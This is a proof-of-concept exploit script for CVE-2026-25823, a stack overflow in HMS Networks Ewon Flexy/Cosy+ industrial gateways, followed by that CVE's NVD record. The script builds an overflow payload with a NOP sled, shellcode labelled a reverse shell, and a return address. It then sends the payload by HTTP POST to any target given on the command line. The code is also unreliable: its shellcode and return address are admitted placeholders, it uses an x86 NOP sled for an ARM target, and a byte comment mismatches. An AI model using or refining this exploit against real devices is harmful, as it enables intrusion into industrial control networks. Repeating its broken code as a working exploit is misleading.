CVE-2026-25823

# CVE-2026-25823 PoC - HMS Networks Ewon Flexy/Cosy+ Stack Buffer Overflow # CVSS 9.8 CRITICAL - Remote Code Execution import socket import struct import sys def create_exploit_payload(): """Generate exploit payload for stack buffer overflow""" # Target buffer offset (adjust based on target) offset = 1024 # NOP sled for reliability nop_sled = b'\x90' * 200 # Shellcode for reverse shell - ARMLE architecture typical for IoT devices # This is a placeholder - actual shellcode needs to be crafted for specific firmware shellcode = ( b'\x01\x30\x8f\xe2\x13\xff\x2f\xe1' # mov r0, #1; svc 0x009f b'\x78\x46\x0c\x30\x01\x90\x50\x02' b'\xa0\x01\x10\x22\x52\x40\xc2\x71' b'\x0b\x27\x01\x27\x01\xdf\x02\x00' ) # Return address - overwrite with address in NOP sled return_addr = struct.pack('<I', 0x41414141) # Placeholder address # Padding to reach offset padding = b'A' * (offset - len(nop_sled) - len(shellcode) - len(return_addr)) # Overflow payload payload = nop_sled + shellcode + padding + return_addr return payload def send_exploit(target_ip, target_port, endpoint): """Send exploit payload to vulnerable endpoint""" payload = create_exploit_payload() # HTTP POST request with malicious payload request = ( f'POST {endpoint} HTTP/1.1\r\n' f'Host: {target_ip}:{target_port}\r\n' f'Content-Length: {len(payload)}\r\n' f'\r\n' ).encode() + payload try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(request) print(f'[+] Exploit sent to {target_ip}:{target_port}') response = sock.recv(4096) print(f'[*] Response received: {response[:100]}') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: {sys.argv[0]} <target_ip> <port> <endpoint>') sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) endpoint = sys.argv[3] print(f'[*] CVE-2026-25823 Exploit - HMS Networks Ewon Stack Buffer Overflow') send_exploit(target_ip, target_port, endpoint)

{"cve": {"id": "CVE-2026-25823", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:27.790", "lastModified": "2026-04-27T19:18:46.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "HMS Networks Ewon Flexy with firmware before 15.0s4, Cosy+ with firmware 22.xx before 22.1s6, and Cosy+ with firmware 23.xx before 23.0s3 have a stack buffer overflow that leads to a Denial of Service, which can also be exploited to achieve Unauthenticated Remote Code Execution."}, {"lang": "es", "value": "HMS Networks Ewon Flexy con firmware anterior a 15.0s4, Cosy+ con firmware 22.xx anterior a 22.1s6, y Cosy+ con firmware 23.xx anterior a 23.0s3 tienen un desbordamiento de búfer de pila que conduce a una denegación de servicio, que también puede ser explotado para lograr la ejecución remota de código no autenticado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://hmsnetworks.blob.core.windows.net/nlw/docs/default-source/products/cybersecurity/security-advisory/hms-security-advisory-2026-03-09-001---ewon-several-flexy-and-cosy--vulnerabilities.pdf?sfvrsn=f7c027b8_13", "source": "[email protected]"}, {"url": "https://www.hms-networks.com/p/flexy20500-00ma-ewon-flexy-205", "source": "[email protected]"}]}}